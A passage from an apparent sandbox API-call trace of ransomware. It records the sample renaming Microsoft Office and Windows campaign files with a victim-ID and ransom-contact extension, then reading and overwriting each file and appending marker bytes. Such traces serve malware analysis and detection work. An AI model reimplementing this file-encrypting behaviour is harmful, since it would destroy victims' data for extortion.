(HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6dbb48 [0209.778] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.778] ReadFile (in: hFile=0x6dc, lpBuffer=0x6dbdf0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbdf0*, lpNumberOfBytesRead=0x483ff0c*=0x260, lpOverlapped=0x0) returned 1 [0209.781] GetProcessHeap () returned 0x630000 [0209.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0209.781] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.781] WriteFile (in: hFile=0x6dc, lpBuffer=0x6dbb48*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesWritten=0x483ff0c*=0x260, lpOverlapped=0x0) returned 1 [0209.781] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.781] WriteFile (in: hFile=0x6dc, lpBuffer=0x6dbda7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbda7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.781] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.782] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.782] CloseHandle (hObject=0x6dc) returned 1 [0209.782] GetProcessHeap () returned 0x630000 [0209.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0209.782] GetProcessHeap () returned 0x630000 [0209.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbdf0 | out: hHeap=0x630000) returned 1 [0209.782] GetProcessHeap () returned 0x630000 [0209.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0209.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42fcf71e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x483fd20, dwReserved1=0x6dbdf0, cFileName="STRTEDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRTED~1.FIR")) returned 0x6d4f80 [0209.782] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0209.782] Sleep (dwMilliseconds=0x1) [0209.791] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM", len=0x70 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM") returned 1 [0209.791] GetProcessHeap () returned 0x630000 [0209.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e1c) returned 0x6fe4288 [0209.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0209.791] CloseHandle (hObject=0x6dc) returned 1 [0209.791] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.792] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRTED~2.FIR")) returned 0x6d52c0 [0209.793] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0209.793] GetProcessHeap () returned 0x630000 [0209.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74292f8 [0209.793] GetProcessHeap () returned 0x630000 [0209.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7434728 [0209.793] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.793] ReadFile (in: hFile=0x6dc, lpBuffer=0x74292f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74292f8*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.910] GetProcessHeap () returned 0x630000 [0216.910] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0216.911] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.911] WriteFile (in: hFile=0x6dc, lpBuffer=0x7434728*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7434728*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.911] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.911] WriteFile (in: hFile=0x6dc, lpBuffer=0x743fb27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743fb27*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.912] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.912] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.912] CloseHandle (hObject=0x6dc) returned 1 [0216.912] GetProcessHeap () returned 0x630000 [0216.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7434728 | out: hHeap=0x630000) returned 1 [0216.912] GetProcessHeap () returned 0x630000 [0216.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74292f8 | out: hHeap=0x630000) returned 1 [0216.912] GetProcessHeap () returned 0x630000 [0216.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0216.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x473c2575, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe256, dwReserved0=0xbac7496, dwReserved1=0x74292f0, cFileName="STRTEDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRTED~2.FIR")) returned 0x6d5440 [0216.912] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0216.913] Sleep (dwMilliseconds=0x1) [0218.572] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml") returned 1 [0218.572] GetProcessHeap () returned 0x630000 [0218.573] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5068) returned 0x6fe3bb0 [0218.573] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.573] CloseHandle (hObject=0x6f4) returned 1 [0218.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.573] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0218.575] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0218.575] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.575] GetProcessHeap () returned 0x630000 [0218.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0218.575] GetProcessHeap () returned 0x630000 [0218.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0218.575] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.575] ReadFile (in: hFile=0x6f4, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x483ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.578] GetProcessHeap () returned 0x630000 [0218.579] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0218.579] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.579] WriteFile (in: hFile=0x6f4, lpBuffer=0x74aa618*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesWritten=0x483ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.579] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.579] WriteFile (in: hFile=0x6f4, lpBuffer=0x74aa7b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7b7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.579] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.579] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.579] CloseHandle (hObject=0x6f4) returned 1 [0218.579] GetProcessHeap () returned 0x630000 [0218.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0218.579] GetProcessHeap () returned 0x630000 [0218.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0218.579] GetProcessHeap () returned 0x630000 [0218.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0218.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x483b6519, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x483fd20, dwReserved1=0x74aa090, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0218.580] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0218.580] Sleep (dwMilliseconds=0x1) [0220.089] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml") returned 1 [0220.091] GetProcessHeap () returned 0x630000 [0220.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x508c) returned 0x6fe3bb0 [0220.091] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0220.091] CloseHandle (hObject=0x674) returned 1 [0220.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.092] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0220.093] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0220.093] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0220.093] GetProcessHeap () returned 0x630000 [0220.093] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0220.093] GetProcessHeap () returned 0x630000 [0220.093] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0220.093] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.093] ReadFile (in: hFile=0x674, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x483ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.096] GetProcessHeap () returned 0x630000 [0220.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0220.096] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.096] WriteFile (in: hFile=0x674, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x483ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.096] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.096] WriteFile (in: hFile=0x674, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.096] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.096] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.096] CloseHandle (hObject=0x674) returned 1 [0220.096] GetProcessHeap () returned 0x630000 [0220.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0220.096] GetProcessHeap () returned 0x630000 [0220.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0220.096] GetProcessHeap () returned 0x630000 [0220.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0220.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4922a73d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x483fd20, dwReserved1=0x74aa440, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0220.097] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0220.097] Sleep (dwMilliseconds=0x1) [0221.698] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program 